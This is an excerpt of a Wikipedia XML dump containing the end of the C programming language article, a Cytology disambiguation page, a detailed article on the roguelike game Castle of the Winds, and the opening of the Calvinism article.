Today, the primary differences (as opposed to the additions of C++, such as classes, templates, namespaces, overloading) between the two languages are:
* &lt;code&gt;'''inline'''&lt;/code&gt; — [[inline function]]s are in the global scope in C++, and in the file (so-called &quot;static&quot;) scope in C.  In simple terms, this means that in C++, any definition of any inline function (but irrespective of C++ function overloading) must conform to C++'s &quot;[[One Definition Rule]]&quot; or ODR, requiring that either there be a single definition of any inline function or that all definitions be semantically equivalent; but that in C, the same inline function could be defined differently in different ''translation units'' (translation unit typically refers to a [[Computer file|file]]). (Note that Microsoft C++ compilers define inline functions as C99 ones)
* The &lt;code&gt;'''bool'''&lt;/code&gt; type in C99 is in its own header, &lt;code&gt;'''&lt;stdbool.h&gt;'''&lt;/code&gt;. Previous C standards did not define a boolean type, and various (incompatible) methods were used to simulate a boolean type.
* Single character constants (enclosed in single quotes) have the size of an &lt;code&gt;int&lt;/code&gt; in C and a &lt;code&gt;char&lt;/code&gt; in C++. So in C &lt;code&gt;sizeof 'a' == sizeof(int)&lt;/code&gt; whereas in C++ &lt;code&gt;sizeof 'a' == sizeof(char)&lt;/code&gt;. Nevertheless, even in C they will never exceed the values that a &lt;code&gt;char&lt;/code&gt; can store, so &lt;code&gt;(char)'a'&lt;/code&gt; is a safe conversion that will only change the type of the expression (here it is changed from int to char), but not its value (which on systems using ASCII-encoded characters is 97).
* Additional keywords were introduced in C++, and thus they cannot be used as identifiers as they could in C. (for example, &lt;code&gt;try&lt;/code&gt;, &lt;code&gt;catch&lt;/code&gt;, &lt;code&gt;template&lt;/code&gt;, &lt;code&gt;new&lt;/code&gt;, &lt;code&gt;delete&lt;/code&gt;, ...)
* In C++, the compiler automatically creates a &quot;tag&quot; for every &lt;code&gt;struct&lt;/code&gt;, &lt;code&gt;union&lt;/code&gt; or &lt;code&gt;enum&lt;/code&gt;, so &lt;code&gt;struct S {};&lt;/code&gt; in C++ is equivalent to &lt;code&gt;typedef struct S {} S;&lt;/code&gt; in C.

C99 adopted some features that first appeared in C++. Among them are:
* Mandatory prototype declarations for functions
* The &lt;code&gt;'''inline'''&lt;/code&gt; keyword
* The removal of the &quot;implicit int&quot; return value

==See also==
*[[C preprocessor]]
*[[C standard library]]
*[[C library]]
*[[C string]]
*[[C syntax]]
*[[C variable types and declarations]]
*[[List of articles with C programs]]
*[[Objective-C]]
*[[C++]]
*[[Operators in C and C++]]
*[[Programming tool]]s: [[Cygwin]], [[Dev-C/C++]], [[DJGPP]], [[GNU Compiler Collection]], [[Local C compiler|LCC]], [[Linker]], [[make]], [[SPlint]], [[Small-C]], [[C--|C--]]
*[[Pascal and C]]

==References==
* [[Brian Kernighan]], [[Dennis Ritchie]]: ''[[The C Programming Language (book)|The C Programming Language]]''. Also known as K&amp;R — The original book on C.
**1st, Prentice Hall 1978; ISBN 0-131-10163-3. Pre-ANSI C.
**2nd, Prentice Hall 1988; ISBN 0-131-10362-8. ANSI C.
* [http://www.open-std.org/JTC1/SC22/WG14/www/standards ISO/IEC 9899]. The official C:1999 standard, along with defect reports and a rationale. As of 2005 the latest version is [http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1124.pdf ISO/IEC 9899:TC2].
*[[Samuel P. Harbison]], [[Guy L. Steele]]: ''C: A Reference Manual''. This book is excellent as a definitive reference manual, and for those working on C [[compiler]]s. The book contains a [[Backus-Naur form|BNF]] grammar for C.
**4th, Prentice Hall 1994; ISBN 0-133-26224-3.
**5th, Prentice Hall 2002; ISBN 0-130-89592-X.
*[[Derek M. Jones]]: ''The New C Standard: A Cultural and Economic Commentary'', Addison-Wesley, ISBN 0-201-70917-1, [http://www.knosof.co.uk/cbook/cbook.html online material]
*[[Robert Sedgewick (computer scientist)|Robert Sedgewick]]: ''Algorithms in C'', Addison-Wesley, ISBN 0-201-31452-5 (Part 1–4) and ISBN 0-201-31663-3 (Part 5)
* William H. Press, Saul A. Teukolsky, William T. Vetterling, Brian P. Flannery: [[Numerical Recipes]] in C (The Art of Scientific Computing), ISBN 0-521-43108-5

==External links==
{{Wikibooks}}

===Tutorials===
* [http://www.its.strath.ac.uk/courses/c/ C Programming] (course at University of Strathclyde Computer Centre)
* [http://publications.gbdirect.co.uk/c_book/ The C Book] by M.Banahan-D.Brady-M.Doran (Addison-Wensley, 2nd ed.) — A very interesting and complete book for beginners/intermediate, now off-print and free.

===Resources===
* [http://www.open-std.org/jtc1/sc22/wg14/ Official web site] of the ISO C Working Group
* [http://c-faq.com/ comp.lang.c Frequently Asked Questions]
* [http://clc-wiki.net/wiki/Main_Page comp.lang.c Wiki]
* [http://www.lysator.liu.se/c/ Programming in C] (document collection at Lysator)
* [http://www.coding-guidelines.com/cbook/cbook1_0b.pdf ''The New C Standard: An economic and cultural commentary''] — an unpublished book about &quot;detailed analysis of the International Standard for the C language&quot;

===Optimization techniques===
*[http://www.eventhelix.com/RealtimeMantra/Basics/OptimizingCAndCPPCode.htm C,C++ optimization]
*[http://www.azillionmonkeys.com/qed/optimize.html Programming Optimization]
*[http://www.abarnett.demon.co.uk/tutorial.html C optimization tutorial]

===C99===
* [http://www-106.ibm.com/developerworks/linux/library/l-c99.html?ca=dgr-lnxw07UsingC99 Open source development using C99 — Is your C code up to standard?] by [[Peter Seebach]]
*[http://www.kuro5hin.org/?op=displaystory;sid=2001/2/23/194544/139 Are you Ready For C99?]
*Article &quot;[http://david.tribble.com/text/cdiffs.htm Incompatibilities Between ISO C and ISO C++]&quot; by [[David R. Tribble]]

===Support===
* [http://cboard.cprogramming.com/forumdisplay.php?f=4 C Forum] at Cprogramming.com
* [http://www.daniweb.com/techtalkforums/forum8.html C and C++] at Daniweb

===History===
* [http://cm.bell-labs.com/cm/cs/who/dmr/chist.html ''The Development of the C Language''] by [[Dennis M. Ritchie]]

===Miscellaneous===
* [http://www.ioccc.org International Obfuscated C Code Contest]

{{Major programming languages small}}

[[Category:C programming language| ]]
[[Category:Programming languages]]
[[Category:Curly bracket programming languages]]

[[ar:سي]]
[[an:Luengache de pogramazión C]]
[[ast:Llinguaxe de programación C]]
[[az:C]]
[[bg:C (език за програмиране)]]
[[be:C (мова праграмавання)]]
[[bs:C programski jezik]]
[[ca:Llenguatge C]]
[[cs:C (programovací jazyk)]]
[[da:C (programmeringssprog)]]
[[de:C (Programmiersprache)]]
[[et:C (programmeerimiskeel)]]
[[es:Lenguaje de programación C]]
[[eo:C (programlingvo)]]
[[eu:C programazio lengoaia]]
[[fr:C (langage)]]
[[gl:Linguaxe de programación C]]
[[ko:C 프로그래밍 언어]]
[[hr:C (programski jezik)]]
[[id:Bahasa pemrograman C]]
[[is:Forritunarmálið C]]
[[it:C (linguaggio)]]
[[he:C (שפת תכנות)]]
[[ku:C (zimanê bernamekirinê)]]
[[lv:C (programmēšanas valoda)]]
[[lt:C (kalba)]]
[[hu:C programozási nyelv]]
[[ms:Bahasa pengaturcaraan C]]
[[nl:C (programmeertaal)]]
[[ja:C言語]]
[[no:C (programmeringsspråk)]]
[[pl:C (język programowania)]]
[[pt:Linguagem de programação C]]
[[ro:Limbajul C]]
[[ru:Си (язык программирования)]]
[[sq:Gjuha programuese C]]
[[simple:C programming language]]
[[sk:C (programovací jazyk)]]
[[sl:Programski jezik C]]
[[fi:C (ohjelmointikieli)]]
[[sv:C (programspråk)]]
[[th:ภาษาซี]]
[[vi:C (ngôn ngữ lập trình)]]
[[tr:C programlama dili]]
[[uk:Мова програмування C]]
[[zh:C语言]]</text>
    </revision>
  </page>
  <page>
    <title>Cytology</title>
    <id>6022</id>
    <revision>
      <id>22121211</id>
      <timestamp>2005-08-29T19:54:42Z</timestamp>
      <contributor>
        <username>Jfdwolff</username>
        <id>46555</id>
      </contributor>
      <comment>this should be disambiguated</comment>
      <text xml:space="preserve">'''Cytology''' may refer to:
* [[Cell biology]], the study of cell anatomy and function
* [[Cytopathology]], the cellular diagnostics of disease

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Castle of the Winds</title>
    <id>6023</id>
    <revision>
      <id>41823525</id>
      <timestamp>2006-03-01T23:52:06Z</timestamp>
      <contributor>
        <username>Joel.Gilmore</username>
        <id>558968</id>
      </contributor>
      <comment>/* Graphics */  From first hand experience, CotW does indeed run on monochrome monitors</comment>
      <text xml:space="preserve">{{infobox cvg|title = Castle of the Winds
|image = [[Image:cotw-screen.gif|center|200px]]
|developer = SaadaSoft (Rick Saada)
|publisher = [[Epic MegaGames]]
|engine = Custom 2-D
|released = 1989
|genre = RPG
|modes = [[Single player]]
|ratings = n/a
|platforms = [[Windows 3.x]]
|media = [[Diskette]]
}}
'''''Castle of the Winds''''' (CotW) is a tile-based [[Roguelike]] [[computer role-playing game|RPG]] which runs under [[Windows 3.x]]. It was written by SaadaSoft (a one-man, one-product company run by Rick Saada) and published by [[Epic MegaGames]].

The game was released in two parts: ''A Question of Vengeance'', released as [[shareware]]; and ''Lifthransir's Bane'', sold commercially.  A license to continue using ''A Question of Vengeance'' and a copy of ''Lifthransir's Bane'' were sold together.

Castle of the Winds's only system requirements are a mouse, a 640x480 monitor and [[Windows 3.x]] or higher. The game differs from most Roguelikes in a number of ways. Its interface is heavily mouse-based. Many commands are awkward to enter by keyboard (possible only through the menu bar with the [[Alt key]]). Traditional roguelikes are usually controlled completely by keyboard, sometimes with optional mouse input.  Castle of the Winds also allows the player to save the game at any point, and to restore saved games after dying &amp;mdash; features never seen in a traditional roguelike game.

In [[1998]], the author, Rick Saada, decided to give Castle of the Winds away for free, and allowed the registered and shareware versions to be freely distributed, but he did not release the [[source code]].&lt;ref&gt;[http://www.exmsft.com/~ricks/  Homepage of Rick Saada, author of Castle of the Winds]; URL last accessed [[February 23]], [[2006]].&lt;/ref&gt;

==Magic==

The game tends to favour the use of magic in combat, as spells are the only weapons that work from a distance (there are no [[bow (weapon)|bows]]). The player character automatically gains a spell with each [[Level up|level-up]], and can permanently gain another using the corresponding book (found or purchased), until he learns all the 30 spells that he can learn. (The maximum level is also 30.) There are two opposing pairs of elements: cold vs. [[fire]], and [[lightning]] vs. [[acid]]/[[poison]]. (The player has no acid/poison attacks.) The spells are divided into seven categories:

*'''Attack Spells'''
**'''Magic Arrow''': The basic magical attack, weak and non-elemental, affecting one target monster.
**'''Cold Bolt''', '''Lightning Bolt''', '''Fire Bolt''': More powerful, elemental attacks, also affecting one target monster. Against an elementally neutral monster, fire is stronger than lightning, which is stronger then cold.
**'''Cold Ball''', '''Ball Lightning''', '''Fireball''': Affect a 3x3 area. Do damage equivalent to the corresponding bolt in the center square, and half as much damage in the eight adjacent squares. As with the bolts, fire is stronger than lightning which is stronger than cold. May hurt the player, but nevertheless be worthwhile.
**'''Sleep Monster''': Puts one target monster to sleep. Some monsters and all bosses are immune and all will wake in about ten minutes or when attacked.
**'''Slow Monster''': Slows the target monster's movement and attacks to half. Bosses are immune. A second cast reduces the speed to 1/3, a third to 1/4, etc. Some monsters, like devils, will never move at less than half the player’s speed.
**'''Transmogrify Monster''': The monster targeted will change into any creature, selected at random. Bosses cannot be transmogrified, and monsters will not become bosses. Percentage health is preserved.
*'''Defense Spells'''
**'''Shield''': Temporarily increases the player's armour value by 5. Casting the spell multiple times will cause the bonus to stack additively, but it will reach a limit.
**'''Resist Cold''', '''Resist Fire''', '''Resist Lightning''': Temporarily decreases by half the damage the player sustains from these elemental attacks. The damage is further halved with each additional cast.
*'''Healing Spells'''
**'''Heal Minor Wounds''', '''Heal Medium Wounds''', '''Heal Major Wounds''': Respectively heal 20%, 40% and 60% of the user's max health or 8/16/24 hp, whichever is higher.
**'''Healing''': Restores the player to full hit points.
**'''Neutralize Poison''': Stops poisoning. Although the spell has the same [[mana]] cost as '''Heal Medium Wounds''', it is effective against any strength of poisoning, even that inflicted by Green Dragons. It will not heal any damage inflicted by the poison prior to the spell's use.
*'''Movement Spells'''
**'''Phase Door''', '''[[Teleport]]''': Both move the player to random locations on the same floor, but '''Teleport''' is longer-range.
**'''Levitation''': Makes the player impervious to non-magical traps. That is, everything except glyphs of warding and teleporter traps.
**'''Rune of Return''': Carries the player from the dungeon to town, or from town to the deepest visited level of the dungeon. After casting this spell, the user will need to wait a while before being teleported.
*'''[[Divination]] Spells'''
**'''Clairvoyance''': Fills in the player's map of a 10x10 area anywhere on the floor, including any traps and [[secret passage|secret doors]].
**'''Detect Objects''': Reveals all movable items on the floor, except those carried by monsters.
**'''Detect Traps''': Reveals all traps within 10 tiles, and has a decreasing chance to reveal more distant traps.
**'''Detect Monsters''': Reveals all monsters on the floor for 30 minutes. (A map can only be displayed for the current floor.) Carries from floor to floor should the user move vertically.
**'''Identify''': Reveals enchantments/curses or lack thereof on an object, and reveals the number of charges of a wand or staff. Identifying an unknown object increases its resale value, ''unless'' it turns out to be cursed or worthless. (A merchant will refuse to buy unidentified objects if too many have been junk.) 
*'''Miscellaneous Spells'''
**'''Remove Curse''': Makes a cursed object &quot;uncursed,&quot; meaning that the player can take it off. Normally, cursed items cannot be removed once put on. Its negative effects are not removed, and it is still worthless.
**'''Light''': Reveals a room, or a 3x3 area of corridor, including any monsters or objects that may be within it. (Rooms and corridors are distinguished not by structure, but by different types of floors with different colours and descriptions.)
*'''Non-Character Spells''' (which can only be cast by items such as scrolls and wands)
**'''Create Traps''': Fills the floor squares adjacent to the player (up to eight) with traps. If the player then casts '''Detect Traps''' and '''Levitation''', he can usually disarm the traps with minimal danger, and gain experience for disarming them. Cast only by cursed items.
**'''Clone Monster''': Creates a healthy duplicate of the monster; effective even on [[boss (video games)|bosses]]. Some players use it to gain more experience and treasure against monsters which usually carry a high experience value and a lot of treasure. Cast only by cursed items.
**'''Teleport Away''': Similar to '''Teleport''', but affects a target monster rather than the player.
**'''Haste Monster''': Reverse of '''Slow Monster'''. Cast only by cursed items.
**'''Summon Monster''', '''Summon Undead''' (not listed in the Spell Directory): Create a random monster in the space next to the caster.

==Items and the Inventory System==

''Castle'' has a very sophisticated inventory system, limiting a player's load based on weight (measured in [[gram]]s) and bulk (measured in [[cubic centimetre]]s) rather than number of items, and allowing the character to use different types of containers as packs. The item types are as follows:
*'''Containers'''
**'''Packs''' and '''Bags''' (small, medium and large), each having a weight and bulk of their own plus that of their contents, and a maximum weight and bulk.
**'''Chests''' (small, medium and large), which occupy their maximum bulk regardless of how full they are.
**'''Belts''', which have a fixed number of slots in addition to the maximum weight and bulk. The Utility Belt and Wand Quiver Belt have specialty slots that can hold only specific types of items. Potions, Scrolls, Books and Wands can only be activated when on the belt, worn in place of a belt, or carried in the Free Hand.
**'''Purses''', which work the same way as packs, with high capacity, but can only carry money.
**'''Enchanted Packs of Holding''' (small, medium and large), the only magical containers, which weigh less and take up less space than their contents. Enchanted Packs repel each other magnetically, so unlike all other containers, they will not nest.
*'''Wearable items'''
**Suits of '''Armour''' of many types, such as Leather Armour, Studded Leather, Chain Mail, Splint Mail, Plate Mail, Plate Armour, Elven Chain Mail and Meteoric Steel Plate Armour.
**'''Shields''' made of several materials (Wooden, Iron, Steel, Meteoric Steel), each of which can be small, medium or large.
**'''Helmets''' in Leather, Iron, Steel and Meteoric Steel. A Helmet of Detect Monsters also exists.
**'''Bracers''' and '''Gauntlets'''. Enchanted bracers will always increase armour class, enchanted gauntlets will increase strength, dexterity, armour class or both chance to hit and damage.
**'''[[Boot]]s''', which add a small amount of Armour Value, and if enchanted, can also increase the player's speed or cause him to levitate. Cursed boots will slow the player down. All boots are made of leather, unlike some other RPGs which include chain boots, etc.
**'''[[Cloak]]s''', which are worn under armour and provide a small amount of Armour Value. Enchanted Capes of Protection are cloaks with an even higher Armour Value.
**'''[[Finger ring|Ring]]s''' and '''[[Amulet]]s'''. Enchanted rings will raise one attribute or armour class, enchanted amulets will increase the resistance to an element or undead stat draining. Cursed amulets will limit your carrying capacity (&quot;Cursed amulet of burden&quot;) or will reduce your resistance to an element.
**Many types of '''weapons''', with a wide variety of possible enchantments and curses, but all reaching only into adjacent squares (no bows etc.) The strongest weapons are two-handed swords, which can not be wielded while you hold a shield. The second strongest are bastard swords.
**'''[[Staff (stick)|Staffs]]''', which can function both as wands and as weapons. The spells staffs can cast are different to those a wand can cast.
*'''Items to be Activated'''
**'''[[Potion]]s''' and '''[[Scroll]]s''', with a wide variety of magical effects. Healing spells, '''Detect Objects''', '''Detect Monsters''' and '''Detect Traps''' can be performed by both potions and scrolls; '''Levitation''' is performed only by a potion; and other spells in the game only by scrolls. In addition, Scrolls of Map Quadrant and Map Level exist, and some special potions restore Mana or allow the character to gain experience or permanently increase attributes.
**'''[[Book]]s''', each containing a spell that the player can learn. A player will instantly recognize a book for a spell he already knows, and so will always learn something new from an unidentified spellbook.
**'''[[Wand]]s''', which cast a spell and have a certain number of charges.
**'''Scraps of [[parchment]]''', at three key points in the story, each displaying a message when Activated (read), after which they disappear (crumble or burst into flames).

Almost every item in the game can be normal, cursed or enchanted, with curses and enchantments working the same way as in [[NetHack]]. Although items do not break in use, many can be broken or rusted out when the player finds them. Since rings, amulets, potions, scrolls, wands and staffs are valued only for their magical effects, the non-magical '''Ring of Adornment''', '''Necklace of Adornment''', '''Distillation of Water''', '''Blank Scroll''', '''Dead Staff''' and '''Dead Wand''' are also worthless. Empty wands and staffs, however, aren't worthless as they can be recharged in the appropriate store. Many items in the game can be named, so you can call your sword &quot;[[Excalibur]]&quot; if you wish.

==Monsters==
The 90 types of [[monster]]s in the game include:
*'''[[Animal]]s''', ranging from the merely annoying Giant [[Rat]] and Giant [[Bat]] to the ferocious Cave [[Bear]] and White [[Wolf]].
*'''[[European dragon|Dragons]]''' of six different ages, with increasing strengths. (Dragons do not actually age in-game, because according to legend this takes hundreds of years.) Dragons are of four different colours, each with its own elemental attack:
**'''Red''' (breathe fire)
**'''Blue''' (breathe lightning)
**'''White''' (breathe cold)
**'''Green''' (breathe poison gas; least deadly if '''Neutralize Poison''' spell is known)
*'''[[Devil]]s''', which can open gates to summon their allies; the abyss fiend is hardest to overcome, so it is best to transmogrify him if you know the spell.
*'''[[Classical element|Elementals]]''': '''[[Air (classical element)|Air]]''', '''[[Water]]''', '''[[Fire]]''', '''Earth''', '''[[Dust]]''', '''[[Ice]]''', '''[[Magma]]'''
*'''[[Giant (mythology)|Giants]]''' of five types
:*hill giants (weakest)
:*stone giants (somewhat stronger), hurtles a bolder at you
:*frost giants, hurtle a block of ice at you
:*fire giants, hurtle a boulder of lava at you
:*two-headed giants, hill giants with two heads, quite strong
*'''[[Human]] and [[humanoid]]''' monsters such as:
**The '''Evil [[Warrior]]''' and '''Berserker''' (fight hand-to-hand)
**The '''Bandit''' (fires arrows)
**The '''[[Wizard]]''' and '''[[Necromancer]]''', who can cast: '''Slow''', '''Summon Monster''' (Wizard)/'''Summon Undead''' (Necromancer), '''Phase Door''', '''Teleport''', the three bolts, and '''Heal Medium Wounds'''.
**The '''Smirking Sneak [[Thief]]''' (who can steal items and then teleport away)
**The '''[[Kobold]]''' (a tiny, weak humanoid)
**The '''Huge [[Ogre]]'''
**The '''Gruesome [[Troll]]'''
**'''[[Goblin]]s''' (including the weak basic '''Goblin''', the '''Goblin Fighter''' and the '''Hobgoblin''').
*'''[[Undead]]''', many of whom have attribute-draining attacks, some temporary, some permanent.
**'''[[Skeleton]]s''' and '''Walking Corpses''', which do not have special powers.
**'''Shadows''', '''Shades''', and '''Spectres''', which can walk through walls but do not have draining attacks.
**The '''Eerie [[Ghost]]''', which drains Strength and Dexterity temporarily.
**'''[[Vampire]]s''', which drains maximum HP. This damage can be healed by visiting a Temple of Odin.
**The '''Dark [[Wraith]]''', '''Pale Wraith''' and '''Abyss Wraith''', which drain intelligence and mana irreversibly.
**The '''Tunnel [[Wight]]''', '''Barrow Wight''' and '''Castle Wight''', which drain strength, dexterity and constitution irreversibly. You need to go to the temple to restore them or you buy or find the appropriate potion.
*The '''Rat-Man''', '''Wolf-Man''', '''Bear-Man''' and '''Bull-Man'''
*'''Animated Statues''' in wood, bronze, iron and marble.
*The '''Slime''' (immobile, immune to physical but not magical attacks)
*The '''Carrion Creeper''' and '''[[Manticore]]''', both fantasy beasts
*The '''Gelatinous Glob''' (approximately the same monster known in [[Dungeons &amp; Dragons]] as the [[Gelatinous cube]])

* and last but not least '''[[Surtur]]''' himself who is vulnerable to lightning but immune to fire. 

Many of the creatures carry money or valuable items with them.

==Character attributes==
The player's four [[attribute (role-playing game)|attributes]] are represented not by numbers, but by a bar graph, with blue and green bar representing the value before and after any item enchantments, curses or drains. The attributes are:
*'''Strength''' &amp;mdash; determines how much damage is done in hand-to-hand combat, and the Maximum Weight the player can carry. (The Maximum Bulk is fixed at 1,000,000 cm&amp;sup3; and, in practice, is not a limiting factor.)
*'''Dexterity''' &amp;mdash; determines how likely a player is to hit and to block a hit in hand-to-hand combat, and gives the player a chance to avoid damage when he sets off a trap.  Also affects Armor Value.
*'''Intelligence''' &amp;mdash; determines the player's maximum Mana.
*'''Constitution''' &amp;mdash; determines the player's maximum Hit Points. If a player's Constitution falls too far below its base level, he dies.

The other standard characteristics include:
*Special '''attributes''' (resistances/vulnerabilities to Cold, Fire, Lightning and Drain Life, vulnerability to Acid, and Levitating).
*'''[[Hit point]]s'''.
*'''[[Mana]]''': the player's reserve of magical energy. The player ''can'' cast spells that run Mana into the negative, risking a temporary but potentially fatal drop in '''Constitution'''.
*'''[[Armour]] Value''': Defense against physical damage, the combined total of armour, braces, gauntlets, cloak, boots, helmet, shield, and enchantments/curses.
*'''[[Weight]]''' and '''Bulk''': The player's body weight and bulk are not counted here, only the items he is wearing or carrying.
*'''Copper''': The sum of all money, not just copper, carried in the purse and on deposit at the bank.
*'''[[Gender]]''': A purely aesthetic choice that determines the default icon.
*'''Custom Icon''': Another aesthetic choice that, when used, makes Gender irrelevant.

===Experience and levels===

HP and mana increase on [[level-up]], but the four base attributes do not. The experience required to level up is as follows:
*Every player starts Part I at Level 1, with 0 experience.
*20 experience points are needed to reach Level 2.
*For ''n'' &amp;gt; 2, the experience requirement for Level ''n'' are those for Level ''n – 1'' plus 20 points at Easy [[difficulty]], 40 at Intermediate, 60 at Difficult, and 80 at Experts Only.
*The maximum level, 30, requires 10,695,475,180 xp at Easy, 16,106,127,320 at Intermediate, 21,558,722,500 at Difficult and 27,011,317,680 at Experts Only.
*Experience rewards for killing monsters range from 1 xp for a '''Giant Rat''' or '''Goblin''' to 344 xp for '''Surtur'''. (Reaching Level 30 by repeatedly killing Surtur would mean doing so 31,091,498, 46,820,138, 62,670,705 or 78,521,272 times, depending on the difficulty level.) Disarming a trap yields 1 to ? xp.

==Story, towns and dungeons==

Although it is secondary to the [[hack-and-slash]] gameplay, ''Castle'' has a plot loosely based on [[Norse mythology]], told with setting changes, unique items and occasional blocks of text.

{{spoiler}}

As the story progresses, the setting changes twice; there are thus three towns, each with its own [[dungeon]] nearby. The game has a total of 40 dungeon levels, some randomly generated, others pre-designed.

===The Tiny Hamlet and the Abandoned Mine===
The player begins in a tiny [[hamlet]], near which he used to live. His [[farm]] has been destroyed and his [[godparent]]s killed. The first dungeon he will travel to at this time is an abandoned mine overrun with creatures and some weak undead monsters. It is four levels deep and features no boss battles or powerful items.

The buildings in the hamlet are as follows:
*'''The Temple of [[Odin]]''', which offers healing spells and restoration of drained attributes whether temporary or permanent as well as '''Remove Curse''' and '''Rune of Return''', for a price.
*'''Olaf's Junk Store''', which sells nothing but will buy anything, including the &quot;worthless&quot; items that other merchants reject, for which it pays 25 copper pieces (CP). However, it will not pay more than 25 CP for an item, even when other merchants will. In some cases, such as boots and cloaks, the broken version of an item is worth more than the normal, unbroken version (i.e. 25 CP versus even less).
*The house of a '''[[sage]]''', who will identify any unknown item for a fee.
*Two merchants, a '''[[blacksmith]]''' (buys and sells weapons and armour) and a '''[[general store]]''' (buys and sells scrolls, potions, spellbooks, cloaks, boots, containers).
*Two [[farmhouse]]s and a village [[well]], which have no function and are purely decorative.

After clearing out the abandoned mine, the player finds the first scrap of parchment, and returns to the hamlet to find it pillaged. He or she then travels to Bjarnarhaven.

===Bjarnarhaven===
The buildings in Bjarnarhaven are:
*'''The Temple of Odin''', '''Olaf's Junk Store''', and a '''sage''', which work the same way as in the hamlet.
*A [[branch office]] of the '''First [[Bank]] of Crossroads''', where the player can deposit money. He will then not have to carry the money or risk having it stolen by a '''Smirking Sneak Thief''', but it will still be available to spend in the four shops.
*Four merchants.
*A number of homes and a small [[fountain]], all decorative.

The fortress near Bjarnarhaven is 11 levels deep and is held by ''Hrungnir, the Hill Giant Lord'' (the only boss in the fortress). Hrungnir carries the ''Enchanted Amulet of Kings'', which grants a resistance to Drain Life (attribute- and experience-draining attacks). When he Activates the amulet, Part I ends, and the game can be imported or started over in Part II. In general, the player will be more experienced if he carries over a winning character, rather than creating a new one.

===Town in Part II===
The castle near this town is ruined. Only the dungeon and parts of the ground floor remain; the dungeon is 25 levels deep and has been converted by the monsters living in it: the [[crypt]] has been desecrated, a ''Necromancer'' has set up his home (with a bed and desk), and special rooms for elementals installed. The minor bosses are a ''Wolf-Man'' and a ''Bear-Man''; at deeper levels, the player fights the four giant kings, followed by the '''Demon Lord [[Surtur]]'''.
  
The buildings in the town are:
*A central keep, where the [[Jarl]] will not admit the player at first, but will provide advice and two enchanted items after specific bosses are killed.
*'''The Temple of Odin''', '''Olaf's Junk Store''', a '''sage''' and the '''First [[Bank]] of Crossroads'''.
*Ten merchants.
*A number of [[apartment]] buildings, mansions and a very large fountain.

{{endspoiler}}

==Other features==

The game keeps track of how much time has been spent in the game. Although story events are not triggered by time, it does determine when merchants change their stock. Also, victorious players are listed on the &quot;[[Valhalla]]'s Champions&quot; list in order of time taken (with the fastest wins listed first).  Typical winning times
may be a few dozen days for the First part of the game, and
perhaps up to one or two hundred days for the Second part.

This game is much more suitable for children than most roguelikes.
It is simple to learn and fun to play.

==Graphics==
All terrain tiles, some landscape features, all monsters and objects, and some spell/effect graphics take the form of Windows icons. A tile is thus the size of an icon, 32 [[pixels]] square. This means that they can be applied to shortcuts, if desired, with no extraction process. 

Multi-tile graphics, such as ball spells and town buildings, are bitmaps included in the executable file.

No graphics use colours other than the Windows standard 16-colour palette (plus transparent). They exist in monochrome versions as well, meaning that the game runs well even on monochrome monitors.

The map view is identical to the playing-field view, except for being scaled to fit on one screen. (This actually ''increases'' the size of some levels on high resolution screens.) A simplified map view is available to improve performance on even slower computers.

==References==
&lt;references /&gt;

==External links==
{{wikibookspar||Castle of the Winds}}
* [http://web.archive.org/web/*/http://vengeance.et.tudelft.nl/cow/ Unofficial ''Castle of the Winds'' Homepage], archived in the Wayback Machine.  Broken in several places; would anyone like to adopt and fix it?
* [http://wind.prohosting.com/cotwrpg/index.html The Temple of Odin], another ''Castle'' site with downloads of the game available
* [http://www.castleofthewinds.cjb.net Castle of the Winds], a Castle of the Winds website.
* [http://www.digital-eel.com/deep.htm Part I and Part II in one zip file for easy download].

[[Category:Roguelikes]]</text>
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      <text xml:space="preserve">{{Calvinism}}
'''Calvinism''' is a system of [[Christian theology]] and an approach to Christian life and thought, articulated by [[John Calvin]], a [[Protestant Reformation|Protestant Reformer]] in the [[16th century]], and subsequently by successors, associates, followers and admirers of Calvin and his interpretation of Scripture.  The '''Reformed tradition''' is referred to by the roughly equivalent term ''Calvinism''. 

The Reformed tradition was originally advanced by stalwarts such as [[Martin Bucer]], [[Heinrich Bullinger]] and [[Peter Martyr Vermigli]], and also influenced English reformers such as [[Thomas Cranmer]] and [[John Jewel]].  However, because of Calvin's great influence and role in the confessional and ecclesiastical debates throughout the seventeenth century, this [[Reformed]] movement generally became known as [[Calvinism]].  Today, this term also refers to the doctrines and practices of the [[Reformed churches]], of which Calvin was an early leader. Though it is often over-emphasized by its detractors, Calvinism is perhaps best known for its doctrines of [[Predestination (Calvinism)|predestination]] and [[Unconditional election|election]].  In the area of [[soteriology]] Calvinism stands in contrast to [[Arminianism]].

==Historical background==
[[John Calvin]]'s international influence on the development of the doctrine of the [[Protestant]] [[Reformation]] began at the age of 25, when he started work on his first edition of the ''[[Institutes of the Christian Religion]]'' in [[1534]] (published [[1536]]).  This work underwent a number of revisions in his lifetime, including an impressive French vernacular translation. Through it and together with his polemical and pastoral works, his contributions to confessional documents for use in churches, and a massive collection of commentaries on the Bible, Calvin had a direct personal influence on Protestantism.  But he is only one of many, although eventually the most prominent influence, on the doctrine of the Reformed churches.  

The rising importance of the Reformed churches, and of Calvin, belongs to the second phase of the [[Protestant Reformation]], when evangelical churches began to form after [[Martin Luther|Luther]] was excommunicated from the [[Roman Catholic Church]].  Calvin was a French exile in [[Geneva]].  He had signed the Lutheran [[Augsburg confession]] in [[1540]] but his influence was first felt in the Swiss Reformation, which was not Lutheran, but rather followed [[Huldrych Zwingli]].  It became evident early on that doctrine in the [[Reformed churches]] was developing in a direction independent of [[Martin Luther|Luther]]'s,  under the influence of numerous writers and reformers, among whom Calvin eventually became pre-eminent.  Much later, when his fame was attached to the Reformed churches, their whole body of doctrine came to be called ''Calvinism''.

===The spreading of Calvinism===
Although much of Calvin's practice was in Geneva, his publications spread his ideas of a correctly reformed church to many parts of Europe.  [[Calvinism]] became the theological system of the majority in [[Scotland]] (see [[John Knox]]), the [[Netherlands]], and parts of [[Germany]] and was influential in [[France]], [[Hungary]] (especially in [[Transylvania]]) and [[Poland]]. 

Most settlers in the [[United States|American]] Mid-Atlantic and [[New England]] were Calvinists, including the [[Puritan]]s and Dutch settlers of New Amsterdam (New York).  Dutch Calvinist settlers were also the first successful European colonizers of [[South Africa]], beginning in the [[17th century]], who became known as [[Boer]]s or [[Afrikaners]]. 

[[Sierra Leone]] was largely colonised by Calvinist settlers from [[Nova Scotia]], who were largely [[Black Loyalists]], blacks who had fought for the [[British Empire|British]] during the [[American War of Independence]]. [[John Marrant]] had organized a congregation there under the auspices of the [[Huntingdon Connection]].

